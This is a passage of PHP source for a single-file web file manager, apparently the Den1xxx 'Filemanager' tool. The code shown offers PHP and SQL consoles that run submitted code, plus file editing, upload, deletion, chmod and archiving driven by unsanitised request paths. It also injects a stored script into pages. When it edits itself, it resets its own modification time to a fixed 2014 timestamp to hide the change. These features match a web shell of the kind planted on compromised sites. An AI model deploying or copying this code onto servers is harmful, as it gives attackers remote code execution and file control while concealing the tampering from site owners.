328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
